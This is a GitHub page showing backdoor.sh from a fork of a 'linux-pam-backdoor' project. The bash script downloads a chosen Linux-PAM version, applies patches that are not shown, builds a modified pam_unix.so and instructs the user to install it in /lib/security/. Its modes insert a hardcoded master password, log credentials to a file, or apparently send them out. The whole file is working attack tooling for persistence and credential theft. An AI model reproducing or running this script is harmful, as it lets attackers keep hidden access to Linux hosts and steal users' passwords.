forked from zephrax/linux-pam-backdoor
-
Notifications
You must be signed in to change notification settings - Fork 7
/
backdoor.sh
executable file
·124 lines (107 loc) · 2.67 KB
/
backdoor.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/bin/bash
OPTIND=1
PAM_VERSION=
PAM_FILE=
PASSWORD=
OUTFILE=
MODE=
echo "Automatic PAM Backdoor"
function show_help {
echo ""
echo "Example usage: $0 -m key|save|send -v 1.3.0 -p some_s3cr3t_p455word -o /tmp/pwd.log"
echo "For a list of supported versions: https://github.com/linux-pam/linux-pam/releases"
}
while getopts ":h:?:p:v:o:m:" opt; do
case "$opt" in
h|\?)
show_help
exit 0
;;
v) PAM_VERSION="$OPTARG"
;;
p) PASSWORD="$OPTARG"
;;
o) OUTFILE="$OPTARG"
;;
m) MODE="$OPTARG"
esac
done
shift $((OPTIND-1))
[ "$1" = "--" ] && shift
if [ -z $PAM_VERSION ]; then
show_help
exit 1
fi;
if [ -z $PASSWORD ]; then
if [ "$MODE" == "key" ];then
show_help
exit 1
fi;
fi;
if [ -z $MODE ]; then
show_help
exit 1
fi;
if [ -z $OUTFILE ];then
if [$MODE == "save"];then
show_help
exit 1
fi;
fi;
echo "PAM Version: $PAM_VERSION"
echo "Password: $PASSWORD"
echo "Password Record Path: $OUTFILE"
PAM_BASE_URL="http://www.linux-pam.org/library"
PAM_DIR="Linux-PAM-${PAM_VERSION}"
PAM_FILE="${PAM_DIR}.tar.gz"
PATCH_DIR=`which patch`
if [ $? -ne 0 ]; then
echo "Error: patch command not found. Exiting..."
exit 1
fi
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
if [[ $? -ne 0 ]]; then # did not work, trying the old format
PAM_DIR="linux-pam-Linux-PAM-${PAM_VERSION}"
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.gz"
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
if [[ $? -ne 0 ]]; then
# older version need a _ instead of a .
PAM_VERSION="$(echo $PAM_VERSION | tr '.' '_')"
PAM_DIR="linux-pam-Linux-PAM-${PAM_VERSION}"
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.gz"
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
if [[ $? -ne 0 ]]; then
echo "Failed to download"
exit 1
fi
fi
fi
tar xzf $PAM_FILE
PATH_FILE_DIR=
case ${MODE} in
key)
PATH_FILE_DIR=backdoor.patch
cat ${PATH_FILE_DIR} | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIR
;;
save)
PATH_FILE_DIR=backdoor2.patch
cat ${PATH_FILE_DIR} | sed -e "s#_OUTFILE_#${OUTFILE}#g" | patch -p1 -d $PAM_DIR
;;
send)PATH_FILE_DIR=backdoor3.patch;;
esac
echo "Using Mode:${MODE}"
echo "Patch Path:${PATH_FILE_DIR}"
#cat ${PATH_FILE_DIR}
#cat ${PATH_FILE_DIR} | sed -e "s/_PASSWORD_/${PASSWORD}/g" | sed -e "s/_OUTFILE_/${OUTFILE}/g" | patch -p1 -d $PAM_DIR
cd $PAM_DIR
# newer version need autogen to generate the configure script
if [[ ! -f "./configure" ]]; then
./autogen.sh
fi
./configure
make
cp modules/pam_unix/.libs/pam_unix.so ../
cd ..
echo "Backdoor created."
echo "Now copy the generated ./pam_unix.so to the right directory (usually /lib/security/)"
echo ""